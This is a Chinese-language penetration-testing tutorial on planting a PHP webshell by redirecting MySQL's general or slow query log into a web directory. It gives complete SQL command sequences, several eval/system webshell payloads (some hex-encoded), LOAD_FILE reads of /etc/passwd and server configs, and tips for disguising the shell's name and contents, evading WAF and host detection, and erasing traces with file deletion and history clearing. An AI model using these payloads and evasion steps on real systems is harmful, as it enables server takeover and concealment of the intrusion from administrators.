1. 项目概述与核心思路拆解
看到这个标题,很多朋友可能会觉得有点“复古”或者“偏门”。确实,在如今各种成熟的Webshell管理工具和漏洞利用框架满天飞的时代,通过MySQL日志功能来获取Webshell,听起来像是一种“曲线救国”甚至“奇技淫巧”。但恰恰是这种非常规的思路,在特定场景下,比如目标系统防护严密、常规上传点被严格过滤,或者我们手头只有数据库权限时,能成为打开突破口的关键钥匙。这次实战复盘,我就来详细拆解一次完整的利用过程,不仅讲操作,更重点剖析每一步背后的原理、踩过的坑以及如何应对各种意外情况。
简单来说,这个手法的核心逻辑是:利用MySQL数据库服务器自身的日志记录功能,将我们精心构造的Webshell代码作为一条“SQL查询语句”写入到日志文件中,然后通过某种方式让这个日志文件被Web服务器解析执行,从而在目标服务器上创建一个可访问的Webshell。听起来有点绕?别急,我们一步步拆开看。它主要依赖两个日志功能:general_log(通用查询日志)和slow_query_log(慢查询日志)。前者记录所有到达MySQL服务器的SQL语句,后者记录执行时间超过指定阈值的查询。我们的目标就是让一句包含PHP代码的SELECT查询,被记录到开启的日志文件里,并且这个日志文件的后缀(比如.php)能被Web服务器当作PHP脚本解析。
这个方法有几个典型的适用场景:一是你已经通过SQL注入等方式获取了MySQL数据库的操作权限(比如root或具有FILE权限的用户),但无法直接向Web目录写文件;二是目标系统对上传文件的类型、内容检查极其严格,常规的Webshell上传被拦截;三是你想尝试一种相对隐蔽的文件写入方式,因为操作数据库日志在安全日志中可能不如直接的文件上传操作显眼。当然,它的局限性也很明显:需要数据库有写文件的权限、需要知道Web目录的绝对路径、需要Web服务器能解析日志文件等。接下来,我们就进入实战环节,看看如何把这些条件串联起来。
1.1 环境侦察与前置条件确认
任何成功的渗透都始于细致的情报收集。在尝试这个方法之前,我们必须确认几个关键的前置条件,否则所有操作都是徒劳。
1.1.1 数据库权限检查
首先,你需要一个具备足够权限的数据库账户。最理想的是root用户,但并非必须。关键权限有两个:FILE权限和SUPER权限(在某些MySQL版本中,设置全局变量需要SUPER权限)。
-- 查看当前用户权限 SHOW GRANTS FOR CURRENT_USER(); -- 或者 SELECT * FROM mysql.user WHERE User = CURRENT_USER()\G你需要确认输出中包含GRANT FILE ON *.* TO ...这样的语句。FILE权限允许用户读取和写入服务器主机上的文件,这是我们将Webshell代码写入日志文件的基础。如果返回结果中没有FILE权限,那么这个方法基本就不可行了,除非你能提升权限。
1.1.2 关键信息收集:Web绝对路径与日志状态
其次,你必须知道目标网站Web目录在服务器上的绝对路径。这是后续让日志文件落地到可访问位置的关键。获取路径的方法有很多:
- 通过Web应用漏洞:如PHP的
phpinfo()页面、报错信息、某些CMS的配置文件泄露等。 - 利用数据库特性:在MySQL中,可以尝试通过
LOAD_FILE()函数读取一些可能包含路径的配置文件,例如:SELECT LOAD_FILE('/etc/passwd'); -- 查看系统用户,有时能发现Web服务器用户的家目录 SELECT LOAD_FILE('/usr/local/apache2/conf/httpd.conf'); -- Apache配置可能包含DocumentRoot SELECT LOAD_FILE('/etc/nginx/nginx.conf'); -- Nginx配置 SELECT LOAD_FILE('/var/www/html/index.php'); -- 尝试常见路径 - 基于已知信息猜测:常见的路径如
/var/www/html,/home/wwwroot,/usr/share/nginx/html,C:\\inetpub\\wwwroot(Windows) 等。
同时,我们还需要查看当前MySQL的日志配置情况:
-- 查看通用查询日志和慢查询日志的当前状态与文件路径 SHOW VARIABLES LIKE 'general_log%'; SHOW VARIABLES LIKE 'slow_query_log%';重点关注四个变量:general_log(是否开启)、general_log_file(日志文件路径)、slow_query_log(是否开启)、slow_query_log_file(日志文件路径)。默认情况下,这些日志通常是关闭的,并且路径可能在MySQL的数据目录(如/var/lib/mysql/)下,这个目录Web服务器通常无法访问。我们的任务就是改变这个路径。
1.1.3 服务器环境推测
最后,对服务器环境做一个大致推测。主要是Web服务器类型(Apache/Nginx)和PHP是否启用。这关系到我们最终生成的Webshell文件能否被成功解析。你可以通过HTTP响应头、报错页面风格等方式判断。如果服务器是纯静态的或者使用其他后端语言(如Java、Python),那么写入PHP Webshell是无效的,需要对应调整Payload。
注意:在整个侦察过程中,操作应尽量低调,避免触发数据库或系统的频繁告警。例如,
LOAD_FILE()函数频繁读取不存在的文件可能会在数据库日志中留下明显痕迹。
1.2 核心原理:为什么日志文件能变成Webshell?
理解了前置条件,我们来深入看看这个手法的核心原理。它巧妙利用了MySQL日志机制和Web服务器解析机制的一个“配合失误”。
1.2.1 MySQL日志的记录机制
无论是general_log还是slow_query_log,它们的工作方式都是将符合条件的SQL语句原样记录到指定的文本文件中。关键点在于“原样”。这意味着,如果我们执行这样一条SQL语句:
SELECT '<?php @eval($_POST[\"cmd\"]);?>'并且日志功能是开启的,那么这条完整的SELECT语句,包括我们精心构造的PHP代码字符串,都会被一字不差地写入日志文件。日志文件本身是文本文件,内容对我们来说是可控的。
1.2.2 文件路径与解析漏洞
默认的日志路径(如/var/lib/mysql/hostname.log)不在Web目录下,即使写入了PHP代码,外界也无法通过HTTP访问。因此,我们需要利用FILE权限,通过SQL命令动态修改日志文件的保存路径,将其指向Web服务器的一个可访问目录,例如:
SET GLOBAL general_log_file = '/var/www/html/shell.php';执行后,新的日志记录就会写到/var/www/html/shell.php这个文件中。这里有一个至关重要的技巧:将日志文件名设置为以.php结尾。这样,当浏览器请求http://target.com/shell.php时,Web服务器(如Apache)会根据文件后缀调用PHP解析器来处理这个文件。
1.2.3 Webshell的“激活”
Web服务器在处理.php文件时,会寻找<?php ... ?>标签并执行其中的代码。我们的日志文件里正好有这么一个标签。但是,日志文件里除了我们的PHP标签,前后还有很多其他内容,比如时间戳、线程ID、命令类型等。例如,一条完整的日志可能长这样:
/usr/sbin/mysqld, Version: 5.7.40 (MySQL Community Server). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 2024-05-27T10:00:00.000000Z 1 Query SELECT '<?php @eval($_POST[\"cmd\"]);?>'PHP解析器会忽略<?php ... ?>标签之外的所有纯文本,只执行标签内的代码。因此,尽管文件里有很多“杂质”,但只要PHP标签是完整的、语法是正确的,Webshell就能被成功激活。这就是整个技术能够成立的根本原因。
实操心得:这种方法成功的关键在于“纯净度”。务必确保你的PHP代码在作为字符串被写入日志时,不会因为SQL语句的语法问题(如引号转义)或日志格式的干扰(如换行)而被破坏。后面我们会详细讲Payload的构造技巧。
2. 两种日志利用方式的详细对比与选择
虽然目标一致,但利用general_log和slow_query_log在操作细节、隐蔽性和成功率上有所区别。理解它们的差异,能帮助我们在实战中做出更合适的选择。
2.1 通用查询日志(General Log)利用详解
通用查询日志会记录所有发往MySQL服务器的客户端连接和语句,信息非常详细。这既是它的优点,也是缺点。
2.1.1 利用步骤与命令序列
利用general_log的步骤通常最为直接:
- 开启日志并设置路径:首先开启通用查询日志,并将其文件路径设置为Web目录下的一个
.php文件。
这里我将文件放在-- 设置日志文件路径 SET GLOBAL general_log_file = '/var/www/html/tmp/g.php'; -- 开启通用查询日志 SET GLOBAL general_log = 'ON';/tmp子目录,是一种简单的目录探测和避免覆盖已有文件的方法。 - 执行Webshell Payload:执行一条包含Webshell代码的查询。通常使用
SELECT,因为它最简单。SELECT '<?php system($_GET[\"c\"]);?>'; - 关闭日志(可选):为了减少噪音和避免暴露后续操作,可以关闭日志。
SET GLOBAL general_log = 'OFF'; - 访问Webshell:通过浏览器或工具访问
http://target.com/tmp/g.php,并使用?c=whoami这样的参数来执行命令。
2.1.2 优势与风险分析
- 优势:
- 可靠性高:只要日志开启,任何查询都会被记录,写入成功率接近100%。
- 操作简单:步骤清晰,命令少。
- 风险与缺点:
- 噪音极大:开启后,所有数据库操作,包括其他应用正常的查询、甚至我们自己的后续操作,都会被记录到Webshell文件中。这会导致文件迅速变大,并且在访问时可能因为文件过大或格式混乱导致PHP解析器出错。
- 极其显眼:
general_log在性能敏感的数据库服务器上通常是关闭的。突然开启它,会在MySQL的错误日志或管理监控中产生明显记录,容易被管理员发现。 - 可能遗留痕迹:即使关闭,日志文件路径可能被修改过,管理员检查变量设置时可能发现异常。
2.2 慢查询日志(Slow Query Log)利用详解
慢查询日志只记录执行时间超过long_query_time(默认10秒)的查询。我们可以利用这个特性,构造一个“慢查询”来触发记录。
2.2.1 利用步骤与命令序列
利用slow_query_log需要一点小技巧:
- 设置慢查询日志路径:
SET GLOBAL slow_query_log_file = '/var/www/html/info_s.php'; - 开启慢查询日志:
SET GLOBAL slow_query_log = 'ON'; - 临时修改慢查询阈值:为了让我们接下来的查询被记录,需要将
long_query_time设置为一个很小的值,比如0秒或0.001秒。SET GLOBAL long_query_time = 0; -- 注意:某些版本或配置下,可能需要新开一个数据库会话才能让这个全局变量对新会话生效。 - 执行一个“慢”的Webshell查询:执行一个包含Webshell代码,并且人为使其“变慢”的查询。最简单的方法是使用
sleep()函数(如果可用)。
或者,如果SELECT '<?php phpinfo();?>' FROM mysql.user WHERE SLEEP(2);sleep函数被禁用,可以执行一个复杂的笛卡尔积查询来消耗时间:SELECT '<?php echo `id`;?>' FROM information_schema.tables A, information_schema.tables B, information_schema.tables C LIMIT 1; - 恢复阈值并关闭日志(可选):
SET GLOBAL long_query_time = 10; -- 恢复默认值 SET GLOBAL slow_query_log = 'OFF';
2.2.2 优势与风险分析
- 优势:
- 相对隐蔽:慢查询日志在有些生产环境中是默认开启的,用于性能分析。修改其路径和阈值的行为,可能比开启
general_log稍微不那么引人注目。 - 日志文件干净:文件里通常只会有我们触发的那一条“慢查询”记录,文件小巧,访问稳定,不会混入其他无关查询。
- 相对隐蔽:慢查询日志在有些生产环境中是默认开启的,用于性能分析。修改其路径和阈值的行为,可能比开启
- 风险与缺点:
- 成功率依赖“慢”:必须确保查询真的被判定为“慢查询”。在负载很轻的数据库上,即使设置
long_query_time=0,一些简单查询也可能因为执行太快而无法被记录。需要可靠的方法来拖长查询时间。 - 依赖额外函数或特性:使用
sleep()或制造复杂查询,可能受到数据库配置或权限的限制。 - 阈值修改有痕迹:修改
long_query_time全局变量同样会被记录。
- 成功率依赖“慢”:必须确保查询真的被判定为“慢查询”。在负载很轻的数据库上,即使设置
注意事项:在选择哪种方法时,需要根据实际情况权衡。如果追求绝对可靠,用
general_log。如果环境对日志开启敏感,且能构造出稳定的慢查询,可以尝试slow_query_log。在时间紧迫的实战中,我通常会先尝试slow_query_log,因为生成的文件更干净;如果失败,再使用general_log作为保底方案。
3. 完整实战流程与深度操作解析
纸上得来终觉浅,绝知此事要躬行。下面我将结合一个模拟的实战场景,带你走一遍完整的流程,并深入每一个操作的细节和可能遇到的问题。
模拟场景:我们通过一个SQL注入点,获得了MySQL数据库root用户的权限(具备FILE权限)。已知Web目录绝对路径为/var/www/html,服务器是Apache + PHP环境。
3.1 第一阶段:精细化的信息收集与确认
即使已经知道了Web路径,更细致的信息收集也能提高成功率。
-- 1. 确认当前用户和权限(再次确认) SELECT CURRENT_USER(), SUPER_PRIV, FILE_PRIV FROM mysql.user WHERE USER=SUBSTRING_INDEX(CURRENT_USER(), '@', 1)\G -- 2. 查看当前所有日志相关变量,评估环境 SHOW VARIABLES LIKE '%log%'; -- 重点关注: -- log_output: 日志输出是`FILE`还是`TABLE`?如果是`TABLE`,则日志写入mysql.general_log表,此方法失效。需要先改为`FILE`。 -- secure_file_priv: 这个变量如果设置了路径,则只能向该路径及其子目录写文件。如果是`NULL`,则禁止文件写入,此方法完全失效。如果是空字符串`''`,则没有限制。 -- 3. 探测Web目录是否存在及是否有写权限(间接方法) -- 尝试向一个临时文件写入一个测试字符串 SET GLOBAL general_log_file = '/var/www/html/test_write.txt'; SET GLOBAL general_log = 'ON'; SELECT 'test_write'; SET GLOBAL general_log = 'OFF'; -- 然后尝试通过HTTP访问 http://target.com/test_write.txt 看是否能读到`test_write`。如果能,证明路径正确且有写权限。这一步非常关键。secure_file_priv是MySQL的一个安全配置,如果它被设置为一个目录(如/tmp/),那么你只能将日志文件设置到那个目录下。如果设置为NULL,那么任何文件操作(包括LOAD_FILE和日志重定向)都会被禁止,这个技术就完全行不通了。
3.2 第二阶段:Payload构造的艺术与陷阱规避
Payload不是简单的一句话。需要考虑SQL语法、字符串转义、日志格式干扰和最终的PHP语法正确性。
3.2.1 基础Payload构造
一个基础的Payload如下:
SELECT '<?php @eval($_POST[\"pass\"]);?>';这里有几个要点:
- 外层引号:使用单引号
'包裹PHP代码,这是SQL字符串的表示方式。 - PHP标签:必须包含完整的
<?php ... ?>。 - 内层引号转义:PHP代码中
$_POST["pass"]里的双引号",在SQL字符串中需要用反斜杠\进行转义,变成\",否则SQL语句会提前结束,导致语法错误。 - 避免分号冲突:PHP语句结尾的分号
;在SQL的SELECT语句中没问题,但如果使用如<?php system($_GET[\"c\"]);?>,最后的?>之前的分号是PHP语法的一部分,需要保留。
3.2.2 应对日志格式的干扰
日志会在我们的Payload前后添加额外信息。为了确保PHP解析器只关心我们的标签,要保证标签的完整性不被破坏。最怕的是日志记录时在标签中间换行。虽然概率低,但我们可以通过构造Payload来避免。
- 避免注释干扰:不要在Payload中使用
/* */或--等SQL注释,它们可能被日志记录机制特殊处理。 - 紧凑写法:将代码写在一行内,避免不必要的空格和换行。
- 使用十六进制编码(高级):这是最稳健的方法。可以将PHP代码转换成十六进制字符串,然后用MySQL的
UNHEX()函数还原。这样能完全避免引号转义问题。
在日志中,这条语句会被记录为SELECT UNHEX('3C3F70687020406576616C28245F504F53545B2270617373225D293B203F3E'); -- 上面的十六进制字符串解码后正是 <?php @eval($_POST["pass"]); ?>SELECT UNHEX('...'),执行后写入文件的内容就是解码后的原始PHP代码,干净无干扰。
3.2.3 功能更丰富的Webshell
你可以根据需要构造更强大的Webshell。
-- 一个简单的文件管理器功能 SELECT '<?php if(isset($_GET[\"f\"])){highlight_file($_GET[\"f\"]);} if(isset($_POST[\"c\"])){system($_POST[\"c\"]);} ?>'; -- 使用base64编码绕过简单过滤(需在Webshell中解码) SELECT '<?php eval(base64_decode($_POST[\"z\"]));?>'; -- 然后POST传递 z=base64_encode(‘system(“whoami”);’) 等3.3 第三阶段:执行与验证
这里我们选择使用slow_query_log进行演示,因为它更干净。
-- 步骤1: 设置慢查询日志路径到Web目录 SET GLOBAL slow_query_log_file = '/var/www/html/images/logo_update.php'; -- 我选择`images`目录,因为它通常存在且有执行权限,且文件名`logo_update.php`看起来较正常。 -- 步骤2: 开启慢查询日志 SET GLOBAL slow_query_log = 'ON'; -- 步骤3: 设置慢查询阈值为0,确保接下来的查询被记录 SET GLOBAL long_query_time = 0; -- *** 重要:对于某些MySQL版本(如5.7+),修改此全局变量后,需要新开一个数据库连接(会话)才会生效。*** -- 在已有SQL注入点可能不方便新开会话。备用方案是设置一个非常小的正数,如0.001,然后执行一个确实很慢的查询。 -- 步骤4: 执行构造好的慢查询Payload -- 方案A: 使用SLEEP (如果函数可用) SELECT UNHEX('3C3F7068702069662869737365742824504F53545B2763275D29297B73797374656D2824504F53545B2763275D293B7D3F3E') FROM mysql.user WHERE SLEEP(3); -- 这个十六进制解码后是:<?php if(isset($_POST['c'])){system($_POST['c']);}?> -- 方案B: 如果不允许SLEEP,使用大量表连接制造耗时 SELECT UNHEX('3C3F70687020706870696E666F28293B203F3E') FROM information_schema.columns A, information_schema.columns B LIMIT 1; -- 这个解码后是 <?php phpinfo(); ?> -- 步骤5: (可选) 恢复环境,清理痕迹 SET GLOBAL long_query_time = 10; -- 恢复默认慢查询阈值 SET GLOBAL slow_query_log = 'OFF'; -- 注意:不要急于删除日志文件或改回路径,先验证Webshell是否成功。验证:
- 打开浏览器,访问
http://target.com/images/logo_update.php。 - 如果看到空白页或页面上方有一些MySQL日志的文本(如时间戳),但页面没有错误(如500 Internal Server Error),这通常是好迹象,说明文件被PHP解析了,只是我们的代码可能没有输出。
- 使用Hack/Postman等工具,向该URL发送一个POST请求,Body内容为
c=whoami。 - 查看响应,如果返回了当前系统用户的用户名(如
www-data),则说明Webshell成功执行系统命令,利用成功。
实操心得:验证阶段访问页面时,如果直接返回了下载对话框或者显示了PHP源代码,说明Web服务器没有将该
.php文件解析为PHP脚本。可能的原因有:1) 文件后缀不是.php;2) Web服务器(如Nginx)未配置对.php文件的处理;3) 该目录下禁用了PHP执行(通过.htaccess或Nginx配置)。此时需要尝试其他目录或后缀(如.phtml,.php5等)。
4. 进阶技巧、隐蔽性与痕迹清理
一次成功的渗透不仅要能进去,还要尽量安静地待着,并且走的时候不留明显脚印。
4.1 提升隐蔽性的技巧
- 目录选择:不要直接写在网站根目录。选择
/upload/,/images/,/static/,/cache/,/tmp/等已存在且通常有执行权限的目录。这些目录下出现新的php文件相对不那么突兀。 - 文件名伪装:使用
cache.php,api_config.php,theme_update.php,index.php.bak等看起来像正常系统文件或备份文件的名称。 - 内容伪装:在Webshell代码前后添加大量无害的注释或垃圾代码,甚至模仿某个真实框架的配置文件格式,以规避简单的静态文件扫描。
SELECT '/* * Configuration file for X-Cache Plugin * @version 1.2 */ <?php @eval($_POST[\"z\"]);?> // EOF '; - 使用慢查询日志:如前所述,它比通用日志更安静。
- 最小化操作:在获取Webshell后,立即将日志路径改回原值或一个非Web目录,并关闭日志。避免持续产生日志暴露行踪。
4.2 操作痕迹清理
理想情况下,在完全撤离前,应清理操作痕迹。但数据库操作日志的清理风险很高,容易触发警报。
- 清理MySQL日志文件本身:通过Webshell连接后,直接删除生成的
logo_update.php文件。rm -f /var/www/html/images/logo_update.php - 恢复MySQL配置:通过Webshell执行mysql命令,或在获取的数据库会话中,将修改过的全局变量恢复。
注意:此操作需谨慎,因为通过Webshell执行高危命令(连接数据库)可能被命令审计记录。-- 通过Webshell连接数据库后执行 mysql -uroot -p[密码] -e "SET GLOBAL slow_query_log_file = '/var/lib/mysql/slow.log'; SET GLOBAL long_query_time = 10;" - 清理历史命令:如果通过Webshell执行了命令,清理一下Shell历史。
history -c警告:清理数据库自身的操作日志(如
mysql.general_log表或二进制日志)非常危险,除非你有绝对把握且情况紧急,否则不建议操作。不完美的清理比不清理更容易引起怀疑。
4.3 对抗安全防护的思考
现代WAF和HIDS可能会检测这种攻击。
- WAF层面:可能会检测异常的SQL语句,如包含
<?php的SELECT查询,或者检测SET GLOBAL这类数据库配置修改操作。对抗方法包括使用十六进制编码、将关键词分割拼接(如SEL'||'ECT)、或利用数据库特性绕过。 - HIDS层面:可能会监控Web目录下新出现的
.php文件,或监控MySQL日志文件路径的异常变更。对抗方法依赖于更巧妙的目录和文件名伪装,以及更快的“用后即焚”策略。 - 数据库审计:如果数据库开启了审计功能,
SET GLOBAL命令和异常的SELECT语句会被记录。这几乎没有完美的对抗方法,只能依靠前期的信息收集,判断目标环境是否具备严格的审计能力。
5. 常见问题排查与实战经验录
在实际操作中,你几乎一定会遇到各种问题。下面是我总结的一些常见“坑”及其解决方案。
5.1 Webshell访问失败问题排查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 访问返回 404 Not Found | 1. 文件路径错误。 2. 文件未成功创建。 | 1. 复核Web绝对路径。通过已知文件推测(如/var/www/html/logo.png存在,则根目录正确)。2. 检查数据库操作是否成功。执行 SHOW VARIABLES LIKE 'slow_query_log_file';确认路径已更改。执行一个简单查询触发日志,再检查文件是否存在(需通过Webshell或其他方式)。 |
| 访问返回 500 Internal Server Error | 1. PHP语法错误。 2. 日志文件格式干扰导致PHP解析失败。 | 1. 检查Payload构造。确保PHP标签完整,引号正确转义。最推荐使用十六进制UNHEX方式,能彻底避免语法问题。 2. 访问日志文件时,查看页面源代码。如果能看到原始的SQL日志文本,说明PHP未解析。可能是文件后缀不被识别。尝试 .phtml,.php5,.php7等后缀。也可能是该目录禁用了PHP,换目录尝试。 |
| 访问时直接下载.php文件 | Web服务器未配置处理.php文件。 | 常见于Nginx未正确关联PHP-FPM。此方法在该环境下可能无效,需寻找其他突破口。 |
| 访问空白页,POST命令无回显 | 1. Webshell代码执行但无输出。 2. system()等函数被禁用。3. 命令执行环境问题。 | 1. 换用有回显的Payload,如<?php echowhoami;?>或<?php echo shell_exec('whoami');?>。2. 检查PHP禁用函数列表。尝试其他执行方式: passthru(),exec(),popen(), 或反引号`。3. 使用绝对路径执行命令,如 /bin/whoami。 |
| 执行SET GLOBAL报错:1227 | 权限不足。当前用户缺少SUPER权限。 | 确认用户权限。如果只有FILE而无SUPER,在MySQL 5.7+版本可能无法动态修改全局变量。可以尝试修改my.cnf配置文件并重启,但这在渗透中不现实。此路可能不通。 |
| 日志文件内容为空或没有Payload | 1. 日志未成功开启。 2. 查询未被记录(针对慢查询)。 3. log_output设置为TABLE。 | 1. 确认general_log或slow_query_log的值为ON。2. 对于慢查询,确认 long_query_time足够小,且查询确实耗时。用SELECT BENCHMARK(10000000, MD5('test'))制造CPU耗时。3. 执行 SHOW VARIABLES LIKE 'log_output';。如果是TABLE,先执行SET GLOBAL log_output = 'FILE';。 |
5.2 来自实战的几条血泪经验
- “先测试,后实战”原则:在本地或可控的测试环境(如Docker快速搭建的LAMP)中完整演练整个流程,理解每一个环节。这能帮你快速定位问题,避免在真实目标上留下大量失败日志。
- 路径分隔符陷阱:在Windows系统上,MySQL路径使用反斜杠
\,并且需要转义,如C:\\inetpub\\wwwroot\\shell.php。在Linux上则是正斜杠/。 - 会话(Session)问题:修改
long_query_time等全局变量后,只对新建立的数据库会话生效。这意味着如果你通过一个持久的SQL注入点执行,紧接着的Payload查询可能不会被记录。最稳妥的方法是,修改变量和执行Payload在两个完全独立的数据库连接中进行。 - 文件覆盖风险:如果设置的日志文件路径已存在,
SET GLOBAL ..._log_file命令会覆盖原文件。这可能导致网站原有功能被破坏,立即引起管理员警觉。务必选择一个不存在的文件路径。 - 备用方案:如果日志写入Web目录的方法行不通,可以尝试写入到
/tmp目录,然后利用本地文件包含(LFI)漏洞去包含这个日志文件。思路是:general_log_file = '/tmp/mysql.log',然后通过存在的LFI漏洞包含/tmp/mysql.log,使其中的PHP代码被执行。
这个方法虽然不像0day漏洞那样犀利,但它考验的是对目标系统组件的深入理解和灵活运用。在严格的防守面前,这种需要多个条件配合的技巧成功率在下降,但它依然是渗透测试人员武器库中一件值得了解的“特殊工具”。记住,真正的安全攻防,往往就发生在这些看似平常的组件和配置的缝隙之中。